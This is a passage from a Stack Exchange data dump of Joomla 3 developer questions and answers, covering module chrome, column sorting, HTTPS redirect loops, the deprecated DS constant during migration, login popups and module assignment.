'&quot;&amp;gt;';&#xA;&#xA;            if ($module-&amp;gt;showtitle)&#xA;            {&#xA;                echo '&amp;lt;' . $headerTag . ' class=&quot;' . $headerClass . '&quot;&amp;gt;' . $module-&amp;gt;title . '&amp;lt;/' . $headerTag . '&amp;gt;';&#xA;            }&#xA;&#xA;            echo $module-&amp;gt;content;&#xA;        echo '&amp;lt;/' . $moduleTag . '&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note I have used &lt;code&gt;style=&quot;mystyle&quot;&lt;/code&gt; (default) in the index.php and the name of the modChrome function is &lt;code&gt;modChrome_mystyle&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also see that the bootstrap size will default to &lt;code&gt;12&lt;/code&gt; is not specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done all this, ensure that you assign this style to the modules in this position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-07-22T13:53:34.633" LastActivityDate="2016-07-22T13:53:34.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17255" PostTypeId="2" ParentId="17251" CreationDate="2016-07-22T14:45:52.093" Score="0" Body="&lt;p&gt;There's no easy way, because you have to code it especially for Joomla. I am sure, that some freelancer is gladly going to do such work for you for a reasonable price.&lt;/p&gt;&#xA;" OwnerUserId="8746" LastActivityDate="2016-07-22T14:45:52.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17256" PostTypeId="2" ParentId="17248" CreationDate="2016-07-22T16:04:53.997" Score="0" Body="&lt;p&gt;This is most likely a module causing this issue. Try disabling your modules (last ones installed first) one by one (deleting your Joomla/browser cache every time disable a module) until the problem is resolved (this way you will be able to find the culprit module easily).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-22T16:04:53.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17257" PostTypeId="2" ParentId="17246" CreationDate="2016-07-22T18:33:37.800" Score="0" Body="&lt;p&gt;As one of the comments stated, why not use json_decode? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$objJSon = json_decode($json); //if you want you can add true as a second &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then retrieve the values from &lt;code&gt;$objJSon&lt;/code&gt;. Again, if you want an associative array, just change &lt;code&gt;json_decode($json)&lt;/code&gt; to &lt;code&gt;json_decode($json, true)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-22T18:33:37.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17259" PostTypeId="2" ParentId="5056" CreationDate="2016-07-24T05:19:05.617" Score="0" Body="&lt;p&gt;The cleanest way to do this is using:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/m2c-module-to-component&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/m2c-module-to-component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8748" LastActivityDate="2016-07-24T05:19:05.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17260" PostTypeId="1" AcceptedAnswerId="17261" CreationDate="2016-07-24T07:07:14.817" Score="0" ViewCount="128" Body="&lt;p&gt;I have a view that displays a list of data from a table (I'm targeting Joomla! 3.5+). However, I fabricated a column that stitches data together after some manipulation. I do this in the &lt;code&gt;getItems()&lt;/code&gt; method after the data has been pulled from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The column and manipulated data display properly in my view, but I need to be able to sort the column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically ordering is established in the &lt;code&gt;getListQuery()&lt;/code&gt; method. Unfortunately I don't have a column in the table that corresponds to the fabricated column which is built after each query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be able to order by multiple columns, but I'm using lookup tables which complicates things. I guess I can write my own sort (the data is text) and apply it in &lt;code&gt;getItems()&lt;/code&gt;. Is there's a better way to accomplish my goal?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="12352" LastEditDate="2019-02-21T11:11:43.137" LastActivityDate="2019-02-21T11:11:43.137" Title="How to sort a fabricated column in my view that I've stitched together with data from multiple columns?" Tags="|joomla-3.x|component|mysql|view|sorting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17261" PostTypeId="2" ParentId="17260" CreationDate="2016-07-24T08:38:36.667" Score="0" Body="&lt;p&gt;With SQL you can usually put your &quot;fabrication&quot; into the order by clause as a column. Not sure if the Joomla functions will mangle this but worth a try.&#xA;For example this works: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select concat(a,b) from c the inner join d on c.id=d.foreign_id order by concat(a,b)&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-07-24T08:38:36.667" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17262" PostTypeId="2" ParentId="14527" CreationDate="2016-07-24T15:16:10.013" Score="0" Body="&lt;p&gt;I'm not sure that I fully understand your question. However, you can either write a SQL query that handles data from multiple tables or create JTables and associated models for the data (MVC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link may help you with your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_multiple_models_in_an_MVC_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_multiple_models_in_an_MVC_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-07-24T15:16:10.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17263" PostTypeId="2" ParentId="10902" CreationDate="2016-07-24T19:16:23.143" Score="0" Body="&lt;p&gt;I had this issue in Joomla 3.6 when adding SSL to my development server, and after lots of digging, determined I was a missing an Apache environment variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution was to add &lt;code&gt;SetEnv HTTPS on&lt;/code&gt; to my Apache VirtualHost config, for all SSL domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla queries the $_SERVER['HTTPS'] var to determine the url scheme, and falls back to http:// if that variable is not set. This can lead to a very confusing situation, where you're requesting a secure (https) url, but Joomla internally is converting the request to http, and then infinitely redirecting you to the secure URL – which you already requested in the first place!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that determines the URL scheme in Joomla is in /libraries/joomla/application/web.php, in the function detectRequestUri, which starts at around line 840.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the HTTPS var isn't available on your system, and you don't have access to add it to your apache config, you can add an 'elseif' to check the $_SERVER['SERVER_PORT'] variable, which should be 443 for secure, and then set the scheme to https based on that. However, that would be hacking the Joomla core, and would definitely break on the next update, so that should definitely be a last resort.&lt;/p&gt;&#xA;" OwnerUserId="8752" LastActivityDate="2016-07-24T19:16:23.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17264" PostTypeId="1" AcceptedAnswerId="17286" CreationDate="2016-07-24T19:23:51.090" Score="1" ViewCount="1216" Body="&lt;p&gt;For some strange reason I cannot insert intro/full article image in articles anymore. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On &quot;Images and Links&quot; tab, I click on button to add images.&lt;/li&gt;&#xA;&lt;li&gt;Popup screen appears and then I paste image url in &quot;Paste image URL in textarea, you can press Enter to add a line, one line per image&quot; textarea.&lt;/li&gt;&#xA;&lt;li&gt;I click the Insert button and nothing happens&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In Firebug Console I noticed that clicking the Insert button gives a javascript error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;ReferenceError: insertFormField is not defined&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no reference to a js file that triggers the error. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. my joomla installation is up to date (version 3.6) and there were no new extensions installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-------------UPDATE--------------------------------------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please take a look of this link in official Joomla demo website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://j390p102.demojoomla.com/administrator/index.php?option=com_media&amp;amp;view=images&amp;amp;tmpl=component&amp;amp;asset=com_content&amp;amp;author=&amp;amp;fieldid=jform_images_image_intro&amp;amp;folder=&quot; rel=&quot;nofollow&quot;&gt;https://j390p102.demojoomla.com/administrator/index.php?option=com_media&amp;amp;view=images&amp;amp;tmpl=component&amp;amp;asset=com_content&amp;amp;author=&amp;amp;fieldid=jform_images_image_intro&amp;amp;folder=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The same link on my website gives me a blank page... Any ideas??&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8753" LastEditorUserId="8753" LastEditDate="2016-07-27T04:23:00.073" LastActivityDate="2016-07-27T11:31:28.850" Title="Can't insert intro/full article image" Tags="|joomla-3.x|javascript|administrator|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17265" PostTypeId="1" AcceptedAnswerId="17266" CreationDate="2016-07-25T06:02:12.950" Score="1" ViewCount="169" Body="&lt;p&gt;I am trying to change size of editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code :- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;description&quot; type=&quot;editor&quot;&#xA;        class=&quot;editor&quot;&#xA;        label=&quot;COM_CPEVENT_TITLE_DESCRIPTION&quot;&#xA;        labelclass=&quot;cpevent-label cpevent-label-main&quot;&#xA;        required=&quot;true&quot;&#xA;        rows=&quot;5&quot; &#xA;        cols=&quot;5&quot; &#xA;        filter=&quot;raw&quot;&#xA;     /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;width=&quot;40%&quot;&lt;/code&gt; add &lt;code&gt;height=&quot;40%&quot;&lt;/code&gt; but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried changing &lt;code&gt;rows&lt;/code&gt; and &lt;code&gt;cols&lt;/code&gt; but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastEditorUserId="8682" LastEditDate="2016-07-25T06:07:55.400" LastActivityDate="2016-07-25T06:14:58.530" Title="How to change size of editor" Tags="|joomla-3.x|editor|fof|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17266" PostTypeId="2" ParentId="17265" CreationDate="2016-07-25T06:14:58.530" Score="1" Body="&lt;p&gt;In the plugin section search for &lt;strong&gt;Editor - TinyMCE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then go to the Advance setting and there you will see the &lt;strong&gt;height&lt;/strong&gt; and &lt;strong&gt;width&lt;/strong&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just change it from there and you are done.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-07-25T06:14:58.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17267" PostTypeId="2" ParentId="5429" CreationDate="2016-07-25T10:28:59.523" Score="1" Body="&lt;p&gt;It is actually easy (just discovered)&#xA;In admin go to extensions and click templates, then on the left click templates&#xA;Click the link to your template&#xA;It will show you the structure and files on the left, at the top click copy template&#xA;Give it a new name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats it, now you have a copy of the template in your own name&lt;/p&gt;&#xA;" OwnerUserId="8755" LastActivityDate="2016-07-25T10:28:59.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17268" PostTypeId="1" AcceptedAnswerId="17273" CreationDate="2016-07-25T11:08:30.680" Score="4" ViewCount="932" Body="&lt;p&gt;I want to restrict the guest users to show full article. Once the user is logged in, then only he will be able to read the full article else introduction article will be shown. I achieved this by referring the following documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Restricting_access_to_%22read_more%22&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Restricting_access_to_%22read_more%22&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But here, when user clicks on read more button, he is taken to a login page but I want to show the login form in the popup in that page itself. Also, user must be redirected to the same article whose read more he clicked. Is there any way by which this can be achieved? &lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2019-03-30T06:28:24.367" Title="Show Login Popup on Read more Restriction" Tags="|login|popup|readmore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17269" PostTypeId="1" CreationDate="2016-07-25T14:56:09.013" Score="2" ViewCount="311" Body="&lt;p&gt;Is there a standard Joomla mechanism / development pattern for creating a modal edit form to create an item from within another item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;a href=&quot;https://docs.joomla.org/Creating_a_modal_form_field&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to create a modal list view, where you can select an item from a list of items, but the workflow I'm looking for is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the 'edit' view of an existing record (for example, 'Personnel')&lt;/li&gt;&#xA;&lt;li&gt;Click a button within this view to open the 'edit' view of another record type (for example, 'Qualification') in a modal window&lt;/li&gt;&#xA;&lt;li&gt;In this modal, load the 'Qualification' form / view and allow the user to enter all relevant details, then click 'Save' - closing the modal&lt;/li&gt;&#xA;&lt;li&gt;Return the pertinent details of the newly created 'Qualification' record and inject them into the original 'Personnel' view using jQuery or similar, or reload the original 'Personnel' view forcing the data to update&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is the tutorial linked to above the best starting point, then just working out the kinks regarding the saved data, or is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="7394" LastEditDate="2016-08-09T07:27:20.093" LastActivityDate="2023-12-09T07:06:15.803" Title="Create record from modal edit form" Tags="|joomla-3.x|component|development|mvc|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17270" PostTypeId="1" AcceptedAnswerId="17297" CreationDate="2016-07-25T16:48:35.753" Score="2" ViewCount="544" Body="&lt;p&gt;I have a custom 404 error set up as per the Joomla docs, so adding ,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;header('Location: /index.php?option=com_content&amp;amp;view=article&amp;amp;id=50');&#xA;exit; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the error.php file in my template folder, which works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am also using Akeeba Admin Tools, and when I password protect the Administrator folder, rather than receive the log in box to access the admin page I am redirected to my custom 404 page, and can't access the admin page again unless I rename the .htaccess file to something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this? How to successfully password protect the admin folder from within Joomla (or using Akeeba), and still have a custom 404 error page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version 3.6.0, Akeeba Admin Tools V. 4.0.0.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2016-07-28T04:53:15.777" Title="Joomla custom 404 page with Administrator protected folder issue" Tags="|joomla-3.x|akeebabackup|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17271" PostTypeId="1" AcceptedAnswerId="17272" CreationDate="2016-07-25T18:28:27.317" Score="4" ViewCount="1087" Body="&lt;p&gt;I am trying to transfer a Joomla 1.5 site to 3x series&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its having&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the table directory&#xA;JTable::addIncludePath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_newtoy'.DS.'tables');&#xA;$controllerName = JRequest::getCmd( 'c', 'category' );&#xA;&#xA;&#xA;$task = JRequest::getCmd('task');&#xA;require_once( JPATH_COMPONENT.DS.'controllers'.DS.$controllerName.'.php' );&#xA;$controllerName = 'NewtoyController'.$controllerName;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In administration view - its creating below notice and error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;( ! ) Notice: Use of undefined constant DS - assumed 'DS' in  Warning:&#xA;  require_once(): failed to open stream&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: require_once(): Failed opening required ''&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to get this fixed for Joomla 3.6 series?&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="126" LastEditDate="2017-02-01T16:55:24.817" LastActivityDate="2017-02-01T16:55:24.817" Title="Fatal error: require_once(): Failed opening | Use of undefined constant DS - assumed 'DS'" Tags="|joomla-3.x|update|migration|fatal-error|extension-update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17272" PostTypeId="2" ParentId="17271" CreationDate="2016-07-25T23:02:29.283" Score="9" Body="&lt;p&gt;This is not coming from Joomla core, but from a 3rd party (likely custom developed) component that exist in your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First see if you really need/use this component, or you can simply uninstall it. If you need it, then look for any information you can gather for this component - find the developer and his site/email and ask if there is an update for Joomla 3. Such information you may be able to find in the component's files, e.g the &lt;code&gt;newtoy.xml&lt;/code&gt; file in the component's directory of the administrator site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no such info or no upgrade, then you will have to upgrade it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding this specific error about the &lt;code&gt;DS&lt;/code&gt; constant, you need to replace all &quot;&lt;code&gt;DS&lt;/code&gt;&quot; occurrences with the forward slash &quot;&lt;code&gt;/&lt;/code&gt;&quot; in the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*The &lt;code&gt;DS&lt;/code&gt; constant is no longer used in Joomla.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick solution, you can define the &lt;code&gt;DS&lt;/code&gt; constant at your own:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A. Create a &lt;code&gt;defines.php&lt;/code&gt; at the root directory of your Joomla site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Custom definitions&#xA;&#xA;define('DS', '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla will load this &lt;code&gt;defines.php&lt;/code&gt; file and the &lt;code&gt;DS&lt;/code&gt; constant will be defined across the site application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B. At the top of the main index.php with (it will be overwritten at next Joomla update):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('DS') or define('DS', '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C. At the top of your script:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('DS') or define('DS', 'DIRECTORY_SEPARATOR');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will solve temporary this error, but this change will be lost with the next Joomla update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But probably there will be more changes you will need to make in order to upgrade the component and make it compatible with Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no programming experience, then this task won't be very easy and it might be a good idea to hire someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find the following resources useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_1.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla 1.5 to 3 Migration&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://techjoomla.com/developers-blogs/joomla-development/joomla-30-conversion-changes-needed-when-converting-a-common-installable-package-for-joomla-15x-a-25x-to-joomla-30.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla 3 - Conversion changes needed for extensions&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_3_FAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Differences between 2.5 and 3&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J2.5:Adapting_a_Joomla_1.5_extension_to_Joomla_2.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Adapting a J2.5 extension to J3&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/694/migrating-component-from-2-5-to-3-3&quot;&gt;Migrating component from 2.5 to 3.3&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Potential backward compatibility issues in Joomla 3&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-02-01T16:47:32.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17273" PostTypeId="2" ParentId="17268" CreationDate="2016-07-26T00:01:15.730" Score="6" Body="&lt;p&gt;You need to create a template override for the article view - &lt;code&gt;default.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So there you can create a &quot;&lt;code&gt;modal button&lt;/code&gt;&quot; for the register link, to open the registration view inside a modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This blog post explains how to &lt;a href=&quot;https://www.spiralscripts.co.uk/Joomla-Tips/modal-windows-in-joomla-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;create modals in Joomla 3&lt;/a&gt;. It covers the bootstrap way for Joomla 3 with many examples, but also has a reference to an older article with examples using the &lt;a href=&quot;https://www.spiralscripts.co.uk/Joomla-Tips/using-modal-windows-with-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mootools way&lt;/a&gt; - which still works on Joomla 3 by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the loading of the registration screen, I would suggest to add the &lt;code&gt;tmpl=component&lt;/code&gt; in the link, so it will only load the component output and not the whole template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the link to the registration page will become like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $link = new JUri(JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;Itemid=' . $itemId .'&amp;amp;tmpl=component', false)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will also might want to deal with the an auto-closing of the modal window after successful login and refresh of the current window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be achieved with some JavaScript, but I haven't tried that with the bootstrap way so I dont't have the answer on this ready and it's late here to go and look for it. But if you manage to reach up to this point, then the remaining steps will come as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative way to achieve that is to try and load a popup Ajax login module instead of linking to the registration page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this module: &lt;strong&gt;&lt;a href=&quot;https://www.sourcecoast.com/index.php?option=com_ars&amp;amp;view=release&amp;amp;Itemid=248&quot; rel=&quot;nofollow noreferrer&quot;&gt;SC Login&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this answer here that describes how to load a module from inside a component: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9070/displaying-more-articles-in-the-article-view/9982#9982&quot;&gt;Displaying more articles in the article view&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Again I haven't tried this solution with the popup login module, but there is big chance it will work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="9471" LastEditDate="2019-03-30T06:28:24.367" LastActivityDate="2019-03-30T06:28:24.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17275" PostTypeId="2" ParentId="17271" CreationDate="2016-07-26T07:14:51.067" Score="3" Body="&lt;p&gt;I recommend you to use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/ds-constant&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/ds-constant&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will reintroduce the deprecated DS constant to ease the migration for 2.5.x sites whose extensions still use DS until they get fixed by its developers.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-07-26T07:14:51.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17276" PostTypeId="1" CreationDate="2016-07-26T09:17:21.297" Score="2" ViewCount="276" Body="&lt;p&gt;I have a component which creates content pages for custom entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an xml which allows to set those pages as menu items of that entity type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1 module that I always want to display on menu items of that type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1 module that I never want to display on menu items of that type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to figure out how to spare my customer the hassle to keep going to the module manager to set and unset the module assignments every time they create a new menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to programmatically set the module assignments at time of menu creation? I have figured out where and how the assigments are stored in the database, but cannot seem to find an event for a plugin to hook into at menu creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints or clues how to approach this?&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2017-09-20T01:35:55.860" Title="Set module assignment at menu creation" Tags="|php|plugin|menu-item|xml|joomla-3.6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17277" PostTypeId="2" ParentId="17276" CreationDate="2016-07-26T11:02:52.037" Score="1" Body="&lt;p&gt;Maybe it would be a good idea to merge the 2 modules into a single dynamic one. Then in this module you can check with &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JInput&lt;/strong&gt;&lt;/a&gt; for the current content type/view and conditionally display the desired data from inside the module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the content type is of that menu item, then display data for the first module, otherwise display data for the second module.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-07-26T11:02:52.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
